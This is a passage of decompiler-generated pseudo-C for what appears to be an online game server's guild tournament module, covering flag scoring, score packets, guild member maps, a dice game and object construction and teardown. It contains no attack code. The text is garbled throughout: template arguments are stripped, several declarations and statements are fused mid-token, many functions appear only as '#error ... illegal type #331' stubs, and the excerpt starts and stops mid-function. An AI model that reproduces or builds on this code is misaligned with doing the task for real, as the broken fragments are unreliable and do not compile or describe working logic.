>,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase( &this->baseclass_0, &result, **(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorgap4[0], *(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorgap4[0]); operator delete(*(void **)&v1->gap4[0]); *(_DWORD *)&v1->gap4[0] = 0; *(_DWORD *)&v1->gap4[4] = 0; } //----- (0045B850) -------------------------------------------------------- void __thiscall GuildTournamentSystem::Update(GuildTournamentSystem *this, int nTickDeltaTime) { GuildTournamentSystem *v2; // edi@1 GuildTournamentSystem::FlagInfo *v3; // ebp@1 int v4; // esi@2 signed int v5; // ebp@9 unsigned int v6; // eax@11 int v7; // ebp@11 int v8; // eax@11 signed int v9; // ecx@11 int v10; // ecx@16 int v11; // edx@16 int v12; // eax@16 #331 *v13; // eax@16 GuildTournamentSystem::FlagInfo *v14; // eax@24 GuildTournamentSystem::FlagInfo *v15; // esi@26 unsigned int v16; // esi@29 int v17; // eax@29 GuildTournamentSystem::FlagInfo *iter; // [sp+10h] [bp-3Ch]@1 char ScorePac; // [sp+14h] [bp-38h]@16 int v20; // [sp+15h] [bp-37h]@16 int v21; // [sp+19h] [bp-33h]@16 int v22; // [sp+1Dh] [bp-2Fh]@16 int v23; // [sp+21h] [bp-2Bh]@16 char *v24; // [sp+28h] [bp-24h]@16 void *p; // [sp+30h] [bp-1Ch]@16 int v26; // [sp+34h] [bp-18h]@16 int v27; // [sp+38h] [bp-14h]@16 unsigned int v28; // [sp+3Ch] [bp-10h]@36 int v29; // [sp+48h] [bp-4h]@16 v2 = this; v3 = this->m_vecFlags._Myfirst; iter = this->m_vecFlags._Myfirst; if ( v3 != this->m_vecFlags._Mylast ) { do { v4 = (int)&v2->m_GroupA; if ( v2->m_GroupA.m_GuildNumber == v3->m_GuildNumber || (v4 = (int)&v2->m_GroupB, v2->m_GroupB.m_GuildNumber == v3->m_GuildNumber) ) { if ( v4 && TickTimer::CheckUpdateEvent(&v3->m_FlagScoreTimer, nTickDeltaTime) ) { v5 = *(_DWORD *)(v4 + 136); if ( v5 <= 1 ) v5 = 1; v6 = v5 * GuildTournamentOccupyTable::GetScore(v2->m_nTournamentType); v7 = v6 + *(_DWORD *)(v4 + 64); *(_DWORD *)(v4 + 56) += v6; *(_DWORD *)(v4 + 64) = v7; v8 = *(_DWORD *)(ITableBase::ms_pkTable + 52); v9 = 2000; if ( v8 && *(_DWORD *)(v8 + 40) ) v9 = *(_WORD *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), 0); if ( *(_DWORD *)(v4 + 56) >= (unsigned int)v9 ) GuildTournamentSystem::GuildGroup::SendWinEventToScript((GuildTournamentSystem::GuildGroup *)v4); GuildTournamentSystem::ChangeAdvanRule(v2); v10 = *(_DWORD *)v4; v11 = *(_DWORD *)(v4 + 56); v24 = &ScorePac; v12 = *(_DWORD *)(v4 + 104); p = 0; v26 = 0; v27 = 0; v20 = v10; v21 = v11; v22 = v12; v23 = 0; ScorePac = 0; v13 = *(#331 **)(v4 + 108); v29 = 0; if ( v13 || (GuildTournamentSystem::GuildGroup::CheckManagerUser((GuildTournamentSystem::GuildGroup *)v4), (v13 = *(#331 **)(v4 + 108)) != 0) ) GuildTournamentSystem::SendScorePacket::SendtoAllinMap( (GuildTournamentSystem::SendScorePacket *)&ScorePac, v13, 0); v29 = -1; if ( p ) operator delete(p); v3 = iter; p = 0; v26 = 0; v27 = 0; } } else { if ( v2->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v2->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(fastdelegate::detail::GenericClass *, signed int))v2->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v2->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6991); } ++v3; iter = v3; } while ( v3 != v2->m_vecFlags._Mylast ); } if ( TickTimer::CheckUpdateEvent(&v2->m_FlagAllConnectTime, nTickDeltaTime) ) { TickTimer::Enable(&v2->m_FlagAllConnectTime, 0); v14 = v2->m_vecFlags._Myfirst; if ( v14 ) { if ( v2->m_vecFlags._Mylast - v14 ) { v15 = v2->m_vecFlags._Myfirst; if ( !v15 || !(v2->m_vecFlags._Mylast - v15) ) std::vector>::_Xran(&v2->m_vecFlags); v16 = v15->m_GuildNumber; v17 = (int)&v2->m_GroupA; if ( v2->m_GroupA.m_GuildNumber == v16 || (v17 = (int)&v2->m_GroupB, v2->m_GroupB.m_GuildNumber == v16) ) { if ( v17 ) GuildTournamentSystem::GuildGroup::SendWinEventToScript((GuildTournamentSystem::GuildGroup *)v17); } else { if ( v2->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v2->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(fastdelegate::detail::GenericClass *, signed int))v2->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v2->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6991); } } } } GuildTournamentSystem::GuildGroup::Update(&v2->m_GroupA, nTickDeltaTime); GuildTournamentSystem::GuildGroup::Update(&v2->m_GroupB, nTickDeltaTime); v2->m_diceGame.vfptr->Update(&v2->m_diceGame, nTickDeltaTime); __security_check_cookie(v28); } // C88F940: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; // C88F948: using guessed type int ITableBase_GTWinScore_GTWinScoreTable___ms_pkTable; //----- (0045BAE0) -------------------------------------------------------- #error "45BAE0: undefined or illegal type '#331' (funcsize=535)" //----- (0045C1F0) -------------------------------------------------------- #error "45C1F0: undefined or illegal type '#331' (funcsize=86)" //----- (0045C2D0) -------------------------------------------------------- #error "45C2D0: undefined or illegal type '#331' (funcsize=35)" //----- (0045C340) -------------------------------------------------------- #error "45C340: undefined or illegal type '#331' (funcsize=391)" //----- (0045C820) -------------------------------------------------------- #error "45C820: undefined or illegal type '#331' (funcsize=53)" //----- (0045C8C0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::SendPlayerAllScoreInfo(GuildTournamentSystem::GuildGroup *this, #331 *a2, int PartMask) { __int64 v3; // qcx@1 GuildTournamentSystem::GuildGroup *v4; // esi@1 unsigned int v5; // ecx@2 int v6; // edx@2 int v7; // eax@2 unsigned int v8; // ebp@2 int v9; // edi@2 int v10; // eax@3 int v11; // esi@5 GuildTournamentSystem::GuildMemberInfo *v12; // ebp@7 unsigned __int16 v13; // si@7 #331 *v14; // eax@9 unsigned int v15; // edx@15 unsigned int v16; // eax@15 int v17; // esi@15 #331 *v18; // eax@18 unsigned int i; // [sp+8h] [bp-9Ch]@2 int v20; // [sp+Ch] [bp-98h]@2 int nPartMask; // [sp+10h] [bp-94h]@2 unsigned int AddPlayerIndex; // [sp+14h] [bp-90h]@2 GuildTournamentSystem::GuildGroup *v23; // [sp+18h] [bp-8Ch]@1 __int64 GuildSocre2; // [sp+1Ch] [bp-88h]@10 __int64 v25; // [sp+24h] [bp-80h]@10 __int64 *v26; // [sp+30h] [bp-74h]@15 char v27; // [sp+34h] [bp-70h]@22 void *p; // [sp+38h] [bp-6Ch]@15 int v29; // [sp+3Ch] [bp-68h]@15 int v30; // [sp+40h] [bp-64h]@15 char GuildSocre; // [sp+44h] [bp-60h]@2 unsigned int v32; // [sp+45h] [bp-5Fh]@2 int v33; // [sp+49h] [bp-5Bh]@2 int v34; // [sp+4Dh] [bp-57h]@2 int v35; // [sp+51h] [bp-53h]@2 char *v36; // [sp+58h] [bp-4Ch]@2 std::vector > thisa; // [sp+5Ch] [bp-48h]@2 int score; // [sp+6Ch] [bp-38h]@22 int v39; // [sp+70h] [bp-34h]@22 int v40; // [sp+74h] [bp-30h]@22 int v41; // [sp+78h] [bp-2Ch]@22 unsigned int v42; // [sp+94h] [bp-10h]@26 int v43; // [sp+A0h] [bp-4h]@2 HIDWORD(v3) = 0; v4 = this; v23 = this; if ( a2 ) { v5 = this->m_GuildNumber; v6 = v4->m_unAllGuildScore; v36 = &GuildSocre; v7 = v4->m_nCaptureFlagCount; thisa._Myfirst = 0; thisa._Mylast = 0; thisa._Myend = 0; v32 = v5; v33 = v6; v34 = v7; v35 = 0; GuildSocre = 0; v8 = 0; v43 = 0; nPartMask = PartMask; AddPlayerIndex = -1; i = 0; v9 = (int)&v4->m_vecGuildMembers; v20 = 0; while ( 1 ) { v10 = *(_DWORD *)(v9 + 4); if ( !v10 ) break; if ( v8 >= (*(_DWORD *)(v9 + 8) - v10) / 28 ) break; v11 = *(_DWORD *)(v9 + 4); if ( !v11 || (*(_DWORD *)(v9 + 8) - v11) / 28 <= v8 ) goto LABEL_17; v12 = (GuildTournamentSystem::GuildMemberInfo *)(v20 + v11); v13 = *(_WORD *)(v20 + v11); if ( ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter((int)a2) == v13 ) AddPlayerIndex = i; v14 = ShineObjectManager::som_GetObject(&shineobjmanager, v13); if ( v14 ) { v25 = 0i64; GuildSocre2 = 0i64; GuildTournamentSystem::Make_TOURNAMENT_PLAYER_SCORE((TOURNAMENT_PLAYER_SCORE *)&GuildSocre2, v14, v12); std::vector>::push_back( &thisa, (TOURNAMENT_PLAYER_SCORE *)&GuildSocre2); if ( thisa._Myfirst ) { if ( (signed int)(thisa._Mylast - thisa._Myfirst) > 200 ) { GuildTournamentSystem::SendScorePacket::SendtoPlayer( (GuildTournamentSystem::SendScorePacket *)&GuildSocre, a2, nPartMask); nPartMask = 0; } } } v4 = v23; ++i; v20 += 28; v8 = i; } GuildTournamentSystem::SendScorePacket::SendtoPlayer( (GuildTournamentSystem::SendScorePacket *)&GuildSocre, a2, nPartMask); if ( (AddPlayerIndex & 0x80000000u) == 0 ) { v15 = v4->m_GuildNumber; v16 = v4->m_unAllGuildScore; v26 = &GuildSocre2; LODWORD(v3) = v4->m_nCaptureFlagCount; p = 0; v29 = 0; v30 = 0; *(__int64 *)((char *)&GuildSocre2 + 1) = __PAIR__(v16, v15); *(__int64 *)((char *)&v25 + 1) = v3; LOBYTE(GuildSocre2) = 0; v17 = *(_DWORD *)(v9 + 4); LOBYTE(v43) = 1; if ( !v17 || (*(_DWORD *)(v9 + 8) - v17) / 28 <= AddPlayerIndex ) LABEL_17: std::vector>::_Xran((std::vector > *)v9); v18 = ShineObjectManager::som_GetObject(&shineobjmanager, *(_WORD *)(28 * AddPlayerIndex + v17)); if ( v18 ) { v41 = 0; v40 = 0; v39 = 0; score = 0; GuildTournamentSystem::Make_TOURNAMENT_PLAYER_SCORE( (TOURNAMENT_PLAYER_SCORE *)&score, v18, (GuildTournamentSystem::GuildMemberInfo *)(v17 + 28 * AddPlayerIndex)); std::vector>::push_back( (std::vector > *)&v27, (TOURNAMENT_PLAYER_SCORE *)&score); GuildTournamentSystem::SendScorePacket::SendtoAllinMap( (GuildTournamentSystem::SendScorePacket *)&GuildSocre2, a2, 0); if ( p ) operator delete(p); } else { if ( p ) operator delete(p); p = 0; v29 = 0; v30 = 0; } } if ( thisa._Myfirst ) operator delete(thisa._Myfirst); } __security_check_cookie(v42); } //----- (0045CBD0) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__thiscall std::map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::operator__(std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > *_Keyval) { std::basic_string,std::allocator > *v2; // esi@1 std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > thisa; // [sp+30h] [bp-44h]@6 char v18; // [sp+4Ch] [bp-28h]@6 int v19; // [sp+70h] [bp-4h]@6 v2 = _Keyval; v3 = this; v9 = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lbound( &this->baseclass_0, _Keyval); v5 = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorgap4[0] && (v4->_Myval.first._Myres < 0x10 ? (v6 = (const char *)&v4->_Myval.first._Bx) : (v6 = *(const char **)&v4->_Myval.first._Bx._Buf[0]), std::basic_string_std::allocator>::compare( v2, 0, v2->_Mysize, v6, *(_DWORD *)(v5 + 32)) >= 0) ) { result = (GuildTournamentSystem::GuildMemberInfo *)(v5 + 40); } else { v10 = 0; v11 = 0; v12 = 0; v13 = 0; v14 = 0; v15 = 0; v16 = 0; thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, v2, 0, 0xFFFFFFFFu); memcpy(&v18, &v10, 0x1Cu); v19 = 0; v7 = *std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert( v9, (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)&thisa); if ( thisa._Myres >= 0x10 ) operator delete(*(void **)&thisa._Bx._Buf[0]); result = (GuildTournamentSystem::GuildMemberInfo *)(v7 + 40); } return result; } //----- (0045CCF0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::Gate *_Val) { std::vector > *v2; // esi@1 GuildTournamentSystem::Gate *v3; // edx@1 signed int v4; // ecx@2 GuildTournamentSystem::Gate *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (0045CD60) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { std::vector > *v2; // esi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 GuildTournamentSystem::AdvanMobItemRegenInfo *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(780903145i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0045CE00) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::FlagInfo *_Val) { std::vector > *v4; // edi@1 GuildTournamentSystem::FlagInfo *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 5; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0045CE70) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::_GuildGroup(GuildTournamentSystem::GuildGroup *this) { GuildTournamentSystem::GuildGroup *v1; // esi@1 void *v2; // eax@1 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorm_MyTeamNPCs._Myfirst; if ( v2 ) operator delete(v2); v1->m_MyTeamNPCs._Myfirst = 0; v1->m_MyTeamNPCs._Mylast = 0; v1->m_MyTeamNPCs._Myend = 0; std::vector>::_Tidy(&v1->m_vecAdenItemInfo); if ( v1->m_vecGuildBuffUseTime._Myfirst ) operator delete(v1->m_vecGuildBuffUseTime._Myfirst); v1->m_vecGuildBuffUseTime._Myfirst = 0; v1->m_vecGuildBuffUseTime._Mylast = 0; v1->m_vecGuildBuffUseTime._Myend = 0; if ( v1->m_vecGuildMembers._Myfirst ) operator delete(v1->m_vecGuildMembers._Myfirst); v1->m_vecGuildMembers._Myfirst = 0; v1->m_vecGuildMembers._Mylast = 0; v1->m_vecGuildMembers._Myend = 0; std::vector>::_Tidy(&v1->m_vecGuildGates); v3 = *(_DWORD *)&v1->m_mapOutMemberBackUps.gap4[0]; v4 = (int)&v1->m_mapOutMemberBackUps; std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase( (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorm_OldTime ) this->m_OldTime = clockwatch.cw_CurrTick; v1 = clockwatch.cw_CurrTick - this->m_OldTime; this->m_OldTime = clockwatch.cw_CurrTick; GuildTournamentSystem::Update(this, v1); } //----- (0045D490) -------------------------------------------------------- #error "45D490: undefined or illegal type '#331' (funcsize=271)" //----- (0045D820) -------------------------------------------------------- void __thiscall GuildTournamentSystem::SendMapInPlayerInfoToObserber(GuildTournamentSystem *this, #331 *pObject) { GuildTournamentSystem *v2; // edi@1 char *v3; // esi@1 GuildTournamentSystem::GuildGroup *v4; // eax@1 v2 = this; v3 = (char *)&this->m_GroupA; GuildTournamentSystem::GuildGroup::SendPlayerAllScoreInfo(&this->m_GroupA, pObject, 1); v4 = &v2->m_GroupB; if ( *(_DWORD *)v3 == v2->m_GroupB.m_GuildNumber ) v4 = (GuildTournamentSystem::GuildGroup *)v3; GuildTournamentSystem::GuildGroup::SendPlayerAllScoreInfo(v4, pObject, 0); } //----- (0045D860) -------------------------------------------------------- #error "45D860: undefined or illegal type '#331' (funcsize=157)" //----- (0045DA60) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::EndBattle(GuildTournamentSystem *this, tGuildTournamentResult *rGuildTournamentResult) { rGuildTournamentResult->AGuildRegNumber = this->m_GroupA.m_GuildNumber; rGuildTournamentResult->AGuildScore = LOWORD(this->m_GroupA.m_unAllGuildScore); rGuildTournamentResult->BGuildRegNumber = this->m_GroupB.m_GuildNumber; rGuildTournamentResult->BGuildScore = LOWORD(this->m_GroupB.m_unAllGuildScore); std::vector>::_Tidy(&this->m_vecFlags); return 1; } //----- (0045DAA0) -------------------------------------------------------- #error "45DAA0: undefined or illegal type '#331' (funcsize=116)" //----- (0045DC20) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::FlagInfo *_Val) { std::vector > *v2; // esi@1 GuildTournamentSystem::FlagInfo *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 GuildTournamentSystem::FlagInfo *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 5; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0045DCB0) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::Clear(GuildTournamentSystem *this) { GuildTournamentSystem *v1; // esi@1 v1 = this; std::vector>::_Tidy(&this->m_vecFlags); GuildTournamentSystem::GuildGroup::Clear(&v1->m_GroupA); GuildTournamentSystem::GuildGroup::Clear(&v1->m_GroupB); v1->m_GroupA.m_GuildNumber = 0; v1->m_nTournamentSeed = -1; v1->m_nTournamentType = 0; v1->m_GroupB.m_GuildNumber = 0; return 1; } //----- (0045DD00) -------------------------------------------------------- #error "45DD00: undefined or illegal type '#331' (funcsize=89)" //----- (0045DE40) -------------------------------------------------------- void __thiscall GuildTournamentSystem::AddAdvanItemMonster(GuildTournamentSystem *this, GuildTournamentSystem::AdvanMobItemRegenInfo *Info, unsigned int GuildNumber) { GuildTournamentSystem *v3; // edi@1 const char *v4; // ecx@2 MobRegenClass::MobBreederGroup *v5; // eax@4 const char *v6; // esi@6 int v7; // eax@9 fastdelegate::detail::GenericClass *v8; // ecx@13 int v9; // [sp-14h] [bp-24h]@4 int v10; // [sp-10h] [bp-20h]@4 int v11; // [sp-Ch] [bp-1Ch]@4 int v12; // [sp-8h] [bp-18h]@4 signed int v13; // [sp-4h] [bp-14h]@4 v3 = this; if ( Info->strGroupName._Myres < 0x10 ) v4 = (const char *)&Info->strGroupName._Bx; else v4 = *(const char **)&Info->strGroupName._Bx._Buf[0]; v13 = 0; v12 = 0; v11 = 0; v10 = 0; v9 = 0; strncpy((char *)&v9, v4, 0x14u); v5 = MobHatchery::mg_FindBreedGroup(mobhatchery, &Info->mapName, *(ORToken *)&v9); if ( v5 ) { MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(v5, 0); v7 = (int)&v3->m_GroupA; if ( v3->m_GroupA.m_GuildNumber == GuildNumber || (v7 = (int)&v3->m_GroupB, v3->m_GroupB.m_GuildNumber == GuildNumber) ) { if ( v7 ) { std::vector>::push_back( (std::vector > *)(v7 + 112), Info); return; } } else { if ( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) { v8 = v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis; v13 = 6991; ((void (__thiscall *)(fastdelegate::detail::GenericClass *, signed int))v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v8, 6991); } } AssertClass::ac_AssertFail( &shineassert, "GuildTournamentSystem::AddAdvanItemMonster Not Find GuildGroup :", GuildNumber); return; } if ( Info->strGroupName._Myres < 0x10 ) v6 = (const char *)&Info->strGroupName._Bx; else v6 = *(const char **)&Info->strGroupName._Bx._Buf[0]; AssertClass::ac_AssertFail(&shineassert, "GuildTournamentSystem::AddAdvanItemMonster Not Find BreedGroup :", v6); } //----- (0045DF20) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::GuildGroup(GuildTournamentSystem::GuildGroup *this) { GuildTournamentSystem::GuildGroup *v1; // esi@1 char *v2; // edi@1 std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorm_mapOutMemberBackUps; v3 = std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(&this->m_mapOutMemberBackUps.baseclass_0); *((_DWORD *)v2 + 1) = v3; v3->_Isnil = 1; *(_DWORD *)(*((_DWORD *)v2 + 1) + 4) = *((_DWORD *)v2 + 1); **((_DWORD **)v2 + 1) = *((_DWORD *)v2 + 1); *(_DWORD *)(*((_DWORD *)v2 + 1) + 8) = *((_DWORD *)v2 + 1); *((_DWORD *)v2 + 2) = 0; v1->m_vecGuildGates._Myfirst = 0; v1->m_vecGuildGates._Mylast = 0; v1->m_vecGuildGates._Myend = 0; v1->m_vecGuildMembers._Myfirst = 0; v1->m_vecGuildMembers._Mylast = 0; v1->m_vecGuildMembers._Myend = 0; v1->m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 0; v1->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; v1->m_vecGuildBuffUseTime._Myfirst = 0; v1->m_vecGuildBuffUseTime._Mylast = 0; v1->m_vecGuildBuffUseTime._Myend = 0; TickTimer::TickTimer(&v1->m_LastGuildMasterReviveTime); v1->m_vecAdenItemInfo._Myfirst = 0; v1->m_vecAdenItemInfo._Mylast = 0; v1->m_vecAdenItemInfo._Myend = 0; v1->m_Advan.m_IsAdvan = 0; v1->m_Advan.m_nLevel = 0; TickTimer::TickTimer(&v1->m_FlagMultiplelTime); v1->m_MyTeamNPCs._Myfirst = 0; v1->m_MyTeamNPCs._Mylast = 0; v1->m_MyTeamNPCs._Myend = 0; PacketContainer::pcb_SetSocketSession((ORField *)&v1->m_LastGuildMasterReviveTime, (ORColumnHeader *)0x12C); GuildTournamentSystem::GuildGroup::Clear(v1); } //----- (0045E000) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildTournamentSystem(GuildTournamentSystem *this) { GuildTournamentSystem *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (RoutionInterfaceVtbl *)&GuildTournamentSystem::_vftable_; this->m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 0; this->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; this->m_vecFlags._Myfirst = 0; this->m_vecFlags._Mylast = 0; this->m_vecFlags._Myend = 0; GuildTournamentSystem::GuildGroup::GuildGroup(&this->m_GroupA); GuildTournamentSystem::GuildGroup::GuildGroup(&v1->m_GroupB); v1->m_diceGame.vfptr = (DiceGameVtbl *)&DiceGame::_vftable_; TickTimer::TickTimer(&v1->m_diceGame.m_nDelayTic); TickTimer::TickTimer(&v1->m_diceGame.m_NotifyOfEndTimer); v1->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis = 0; v1->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction = 0; v1->m_diceGame.m_DiceGameEnd.m_Closure.baseclass_0.m_pthis = 0; v1->m_diceGame.m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction = 0; v1->m_diceGame.m_RedPlayerNumber = 0; v1->m_diceGame.m_BluePlayerNumber = 0; v1->m_diceGame.m_RedDiceResult = 0; v1->m_diceGame.m_BlueDiceResult = 0; TickTimer::TickTimer(&v1->m_FlagAllConnectTime); v1->m_OldTime = 0; v1->m_nTournamentSeed = -1; v1->m_nTournamentType = 0; v1->m_diceGame.m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction = (void (__thiscall *)(fastdelegate::detail::GenericClass *))GuildTournamentSystem::DiceGameWinGuild; v1->m_diceGame.m_DiceGameEnd.m_Closure.baseclass_0.m_pthis = (fastdelegate::detail::GenericClass *)v1; PacketContainer::pcb_SetSocketSession((ORField *)&v1->m_FlagAllConnectTime, (ORColumnHeader *)0x258); } // 5A5CEC: using guessed type int (__thiscall *DiceGame___vftable_)(DiceGame *this, int nTick); // 5A638C: using guessed type int (__thiscall *GuildTournamentSystem___vftable_)(void *p, char); //----- (0045E100) -------------------------------------------------------- void *__thiscall GuildTournamentSystem::_scalar_deleting_destructor_(GuildTournamentSystem *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentSystem::_GuildTournamentSystem(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0045E120) -------------------------------------------------------- void __thiscall GuildTournamentSystem::_GuildTournamentSystem(GuildTournamentSystem *this) { GuildTournamentSystem *v1; // esi@1 v1 = this; GuildTournamentSystem::GuildGroup::_GuildGroup(&this->m_GroupB); GuildTournamentSystem::GuildGroup::_GuildGroup(&v1->m_GroupA); std::vector>::_Tidy(&v1->m_vecFlags); v1->baseclass_0.vfptr = (RoutionInterfaceVtbl *)&RoutionInterface::_vftable_; } // 5A5CD0: using guessed type int (__thiscall *RoutionInterface___vftable_)(void *p, char); //----- (0045E180) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::Initialize(GuildTournamentSystem *this, unsigned int AGuildNumber, unsigned int BGuildNumber, int nType, int nSeed) { GuildTournamentSystem *v5; // esi@1 v5 = this; std::vector>::_Tidy(&this->m_vecFlags); GuildTournamentSystem::GuildGroup::Clear(&v5->m_GroupA); GuildTournamentSystem::GuildGroup::Clear(&v5->m_GroupB); v5->m_nTournamentSeed = -1; v5->m_nTournamentType = 0; v5->m_GroupB.m_GuildNumber = 0; v5->m_GroupA.m_GuildNumber = AGuildNumber; GuildTournamentSystem::GuildGroup::SetTournamentType(&v5->m_GroupA, nType); v5->m_GroupB.m_GuildNumber = BGuildNumber; 